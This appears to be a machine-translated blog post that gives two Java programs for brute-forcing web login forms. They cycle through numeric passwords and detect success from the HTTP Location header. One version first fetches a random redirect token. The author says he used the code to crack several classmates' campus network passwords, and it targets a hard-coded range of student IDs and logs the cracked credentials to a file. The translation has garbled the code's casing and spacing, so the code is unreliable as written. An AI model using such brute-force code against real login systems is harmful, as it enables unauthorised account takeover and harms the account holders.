Note: The following ideas and code sources are self-developed by Mu Zi.
1. First, let's take a look at a method to crack the login system without any security measures: each time a simulated form is submitted, if the login is successful, the returned header information contains the location field, login failure does not have this field, continue to simulate logon. After the successful cracking, I successfully cracked some of my students' campus network login passwords (only four digits). The Code is as follows:
Package demo.net; import Java. io. ioexception; import Java. io. printwriter; import java.net. httpurlconnection; import java.net. URL; import mine. util. io. textfile; // brute force cracking simple logon system: this system does not have any security measures public class posttest {string urlstring = "Logon page url"; Public posttest () {} public posttest (string urlstring) {This. urlstring = urlstring;} // submit a user request private Boolean dopost (string user, string password) {Boolean sucess = false; Try {URL realurl = new URL (urlstring); httpurlconnection conn = (httpurlconnection) realurl. openconnection (); Conn. setdooutput (true); Conn. setdoinput (true); Conn. setinstancefollowredirects (false); // submit the form. The sent data is intercepted directly by firebug, And the username and password are replaced with the parameter printwriter out = new printwriter (Conn. getoutputstream (); out. print ("form information to be submitted"); out. flush (); // If logon fails, no location field exists in the header. getheaderfield ("location") returns NULL // If logon succeeds Location field // system. Out. println (conn. getheaderfields (); If (conn. getheaderfield ("location ")! = NULL) {sucess = true;} catch (ioexception e) {e. printstacktrace () ;}return sucess;} // This is a full sorting algorithm that sorts and combines passwords of specific lengths and saves the results to the list // User: User Name, N: character subscript, len: the length of the character array, that is, the password length. Private Boolean createpassword (string user, char [] STR, int N, int Len) {If (n = Len) {string PS = new string (STR); If (dopost (user, PS) {// system. out. println ("sucess:" + User + ":" + PS); textfile. write ("file/example user name and password .txt", true, "sucess:" + User + ":" + PS + "\ n"); Return true;} return false ;} for (INT I = 0; I <= 9; I ++) {STR [N] = (char) (I + '0'); If (createpassword (user, STR, n + 1, Len) return true;} return false;} // crack a user's password public void test (string user) {for (INT I = 0; I <4; I ++) {If (createpassword (user, new char [I + 1], 0, I + 1) Break ;}} public static void main (string [] ARGs) {posttest Pt = new posttest (); For (INT I = 1; I <= 9; I ++) pt. test ("09050510" + I); For (INT I = 10; I <= 31; I ++) pt. test ("0905051" + I );}}
In this sample code, only passwords with four or four digits are cracked. It takes about 10 minutes to crack a user. If the password is cracked for a longer period of time, it takes a long time.
Note: The following ideas and code sources are self-developed by Mu Zi.
2. Some login systems adopt security measures. Each login generates a random value on the URL, which is the value of the location field in the header information, therefore, you need to obtain the value before cracking, and then form information is sent to the server through a real URL. Two connections are required here. The value of the location field is obtained for the first time, the second is the real simulated login. Pay attention to the royal redirection. The Code is as follows:
Package demo.net; import Java. io. ioexception; import Java. io. printwriter; import java.net. httpurlconnection; import java.net. URL; // brute force cracking logon system: This logon system is characterized by the location field in the header information, the value of this field randomly generates the public class httptest {// urlstring of the logon system to be cracked = "URL of the system to be cracked"; Public httptest () {} public httptest (string urlstring) {This. urlstring = urlstring;} // submit a user request private Boolean dopost (string user, string password) {Boolean suce Ss = false; try {// first obtain the location field in the head through the URL. This field is random, and the URL for each connection is different. url = new URL (urlstring ); httpurlconnection connection = (httpurlconnection) URL. openconnection (); connection. setrequestmethod ("head"); connection. setinstancefollowredirects (false); // do not allow redirection, so that the location field information connection will be returned. connect (); // construct the urlurl realurl = new URL (urlstring + connection. getheaderfield ("location"); httpu Rlconnection conn = (httpurlconnection) realurl. openconnection (); Conn. setdooutput (true); Conn. setdoinput (true); Conn. setinstancefollowredirects (false); // submit the form. The sent data is intercepted directly by firebug, And the username and password are replaced with the parameter printwriter out = new printwriter (Conn. getoutputstream (); out. print ("form information submitted during logon"); out. flush (); // If the logon fails, there is no location field in the header. getheaderfield ("location") returns NULL // The logon succeeds, and a random location field // system is returned. out. println (Conn. get Headerfields (); If (conn. getheaderfield ("location ")! = NULL) {sucess = true;} catch (ioexception e) {e. printstacktrace () ;}return sucess;} // This is a full sorting algorithm that sorts and combines passwords of specific lengths and saves the results to the list // User: User Name, N: character subscript, len: the length of the character array, that is, the password length. Private Boolean createpassword (string user, char [] STR, int N, int Len) {If (n = Len) {string PS = new string (STR); If (dopost (user, PS) {system. out. println ("sucess:" + User + ":" + PS); Return true;} return false;} For (INT I = 0; I <= 9; I ++) {STR [N] = (char) (I + '0'); If (createpassword (user, STR, n + 1, Len) return true;} return false ;} // crack the public void test (string user) {for (INT I = 5; I <20; I ++) {If (createpassword (user, new char [I + 1], 0, I + 1) break;} public static void main (string [] ARGs) {httptest Pt = new httptest (); PT. test ("090505105 ");}}
Of course, the above two code examples are only implemented in principle. In practice, the probability of success is not very high, because the password with 6-digit numbers is about 30 hours, and many passwords contain letters... If you are interested, you can optimize the code to see if it can shorten the cracking time.